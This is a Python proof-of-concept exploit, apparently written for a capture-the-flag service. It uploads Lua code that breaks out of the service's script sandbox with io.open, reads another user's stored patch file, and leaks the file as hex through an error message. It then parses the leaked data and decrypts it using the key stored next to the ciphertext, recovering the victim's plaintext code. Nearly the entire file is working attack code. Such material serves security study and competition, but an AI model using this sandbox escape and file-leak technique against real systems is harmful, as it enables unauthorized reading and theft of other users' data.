#!/usr/bin/env python3
"""
PoC: abuse the Lua "sandbox" to read arbitrary files (here: victim patch files)
and recover the plaintext Lua that embeds the flag.

Usage: python3 lua_poc.py <host> <victim_patch_id> [port]
"""
import hashlib
import re
import socket
import struct
import sys
import uuid
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


MANUFACTURER = b"\x7D\x53\x58"
OP_PUT = 0x02
OP_RENDER_HASH = 0x04
OP_PUT_RESP = 0x07
OP_ERROR = 0x0B

# Same modulus as DEFAULT_CRYPTO_PARAMS in the service.
MODULUS = int(
    "00000000000000000000001010400401040050501011140450454504004145540054510014551150445504010145150511100005011015500410014404111555",
    16,
)
MOD_BITS = MODULUS.bit_length()


def frame(op: int, payload: bytes = b"") -> bytes:
    return b"\xF0" + MANUFACTURER + bytes([op]) + payload + b"\xF7"


def recv_frame(sock: socket.socket) -> bytes:
    data = sock.recv(4096)
    if len(data) < 6 or data[0] != 0xF0 or data[-1] != 0xF7:
        raise RuntimeError(f"Bad frame: {data!r}")
    return data


def build_lua(victim_patch: str) -> bytes:
    # Reads the raw patch file and dumps it as hex in an error message.
    return f"""
local victim = "{victim_patch}"
local path = "data/" .. victim .. ".pb"

function tohex(s)
    return (s:gsub(".", function(c) return string.format("%02x", string.byte(c)) end))
end

function sample(t, note, velocity)
    local f = io.open(path, "rb")
    if not f then
        error("no_file")
    end
    local blob = f:read("*a")
    f:close()
    error(tohex(blob))
end
""".encode()


def parse_hex_from_error(msg: str) -> bytes:
    m = re.search(r"[0-9a-f]{200,}", msg)  # look for a long hex blob
    if not m:
        raise RuntimeError(f"No hex payload in error: {msg}")
    return bytes.fromhex(m.group(0))


def parse_tlv(blob: bytes):
    i = 0
    out = {}
    while i < len(blob):
        tag = blob[i]
        i += 1
        if tag == 0xFF:
            break
        length = int.from_bytes(blob[i : i + 2], "big")
        i += 2
        out[tag] = blob[i : i + length]
        i += length
    return out


def reduce(x: int) -> int:
    while x.bit_length() >= MOD_BITS:
        x ^= MODULUS << (x.bit_length() - MOD_BITS)
    return x


def mul(a: int, b: int) -> int:
    prod = 0
    shift = 0
    bb = b
    while bb:
        if bb & 1:
            prod ^= a << shift
        bb >>= 1
        shift += 1
    return reduce(prod)


def pow_ring(base: int, exp: int) -> int:
    base = reduce(base)
    result = 1
    ee = exp
    while ee:
        if ee & 1:
            result = mul(result, base)
        base = mul(base, base)
        ee >>= 1
    return result


def decrypt_patch(tlv):
    k = int.from_bytes(tlv[0x01], "big")
    c1 = int.from_bytes(tlv[0x02], "big")
    ct = tlv[0x03]
    iv = tlv[0x04]

    s = pow_ring(c1, k)
    s_bytes = s.to_bytes(64, "big")
    key = hashlib.sha256(s_bytes).digest()[:16]
    pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
    return pt.decode(errors="replace")


def exploit(host: str, victim_patch: str, port: int) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5.0)
    sock.connect((host, port))

    # 1) Upload malicious Lua that leaks the victim patch file.
    lua_payload = build_lua(victim_patch)
    sock.sendall(frame(OP_PUT, lua_payload))
    put_resp = recv_frame(sock)
    if put_resp[4] != OP_PUT_RESP:
        raise RuntimeError(f"Unexpected PUT response opcode {put_resp[4]:#x}: {put_resp!r}")
    attacker_patch = uuid.UUID(bytes=put_resp[5:21])
    print(f"[+] Uploaded attacker patch {attacker_patch}")

    # 2) Trigger execution; sample() will error with hex blob of the patch file.
    payload = attacker_patch.bytes + struct.pack(">II", 0, 0)
    sock.sendall(frame(OP_RENDER_HASH, payload))
    render_resp = recv_frame(sock)
    if render_resp[4] != OP_ERROR:
        raise RuntimeError(f"Expected error frame, got {render_resp!r}")
    error_msg = render_resp[5:-1].decode(errors="replace")
    blob = parse_hex_from_error(error_msg)
    tlv = parse_tlv(blob)
    lua_src = decrypt_patch(tlv)
    print("[+] Decrypted victim Lua:")
    print(lua_src)


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <host> <victim_patch_id> [port]")
        sys.exit(1)
    target_host = sys.argv[1]
    victim_patch = sys.argv[2]
    target_port = int(sys.argv[3]) if len(sys.argv) > 3 else 5004
    exploit(target_host, victim_patch, target_port)